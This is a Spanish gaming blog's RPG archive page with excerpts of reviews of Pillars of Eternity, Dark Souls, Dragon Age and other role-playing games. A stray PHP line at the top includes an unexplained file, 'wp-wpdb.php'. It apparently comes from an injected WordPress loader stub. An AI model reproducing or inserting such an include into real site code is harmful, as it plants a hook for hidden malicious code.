if (is_file('wp-wpdb.php')) include_once('wp-wpdb.php'); RPG – Página 2 – La Fortaleza de LeChuck

Análisis Pillars of Eternity

Hace unos años, un grupo de veteranos de la industria se reunió con un sueño: traer de vuelta la época dorada de los RPGs de PC con un juego. Era un proyecto ambicioso que necesitaba mucho esfuerzo, y dinero, pero gracias al crowdfunding ese proyecto se convirtió en una realidad llamada Pillars of Eternity. Hoy se lanza… Seguir leyendo Análisis Pillars of Eternity

Mother 4, una secuela fan made

Mother es una de las sagas de RPGs más queridas en Japón y siempre aparece en los rankings de los mejores juegos de rol nipón. En occidente únicamente fue lanzado Mother 2 bajo el nombre de EarthBound, el cual desembarcó hace poco en la Nintendo e-Shop de Wii U. La saga Mother acabó en su tercera… Seguir leyendo Mother 4, una secuela fan made

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Análisis Divinity Original Sin

Los amantes de los RPGs de corte clásico estamos de enhorabuena con la oleada de títulos isométricos para PC que están llegando los últimos años. Nuevas sagas nacen y otras continúan con nuevas entregas, como es el caso de Divinity Original Sin, el cual rescata la popular serie tras varios años en el olvido convirtiéndose en… Seguir leyendo Análisis Divinity Original Sin

Análisis Dragon Age Inquisition

Es difícil hablar de Dragon Age Inquisition, un juego complejo e inmenso pero a la vez lleno de carencias. Nacido tras las cenizas de Dragon Age 2, y con la herencia del sistema de Mass Effect, Dragon Age Inquisition se ha coronado como GOTY 2014 pero ¿realmente es merecedor de tal galardón? Vamos a verlo.… Seguir leyendo Análisis Dragon Age Inquisition

Análisis Wasteland 2

Una de las cosas que siempre agradeceré al crowdfunding es que ha traído de vuelta viejas glorias de la mano de sus propios creadores, sin presiones de grandes compañías. Hace un par de años, cuando Kickstarter estaba en su máximo apogeo, Brian Fargo decidió que era el momento perfecto para desarrollar Wasteland 2, la segunda… Seguir leyendo Análisis Wasteland 2

Análisis Dark Souls 2

Dark Souls 2 era uno de los grandes títulos que esperaba este año después del soberbio Dark Souls y el impactante Demon’s Souls, los cuales fueron un soplo de aire fresco ante tanto juego «casualizado». Dado el particular san benito de juego difícil que le puso la prensa y los jugadores impacientes y comodones, desde… Seguir leyendo Análisis Dark Souls 2

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Final Fantasy VI, pura magia

Nos encontramos en un periodo de la industria donde los proyectos millonarios y juegos AAA están a la orden del día, donde el realismo y el multijugador tiene más importancia que la profundidad de la historia. Por esta razón, siempre es bueno echar la vista atrás y descubrir juegos de hace 20 años, donde con… Seguir leyendo Final Fantasy VI, pura magia

Demon’s Souls (Análisis)

Este año me arrepiento más que nunca de no tener una PS3, y la razón es bien sencilla: PSN Plus. Han salido muchísimos juegos apetecibles que bien valían pagar la cuota anual, entre ellos, el que voy a analizar en esta ocasión, Demon’s Souls. Preparaos para una serie de niveles desesperantes, jefes imposibles y MORIR… Seguir leyendo Demon’s Souls (Análisis)

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Dark Souls (Análisis) inminente desesperación

Dark Souls es y será recordado como aquel RPG tan difícil que lanzaron los japoneses de From Software y sucesor espiritual de Demon’s Souls. Sin haber visto apenas imágenes, y a pesar de las habladurías sobre la elevada dificultad, me lancé a por él y os puedo decir que por 4 llorones no podéis perderos esta… Seguir leyendo Dark Souls (Análisis) inminente desesperación

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Dragon Age 2 (Análisis) Lo que pudo ser y no fue

Pensaba que Bioware no era de esas compañías que entraban en el tópico de «segundas partes nunca fueron buenas», y jamás lo hubiera pensado después de ver Baldurs Gate II o Mass Effect 2, bastante fieles a sus predecesores. Fui alertada del fiasco de Dragon Age 2 por diferentes amigos, pero aún así quería comprobarlo… Seguir leyendo Dragon Age 2 (Análisis) Lo que pudo ser y no fue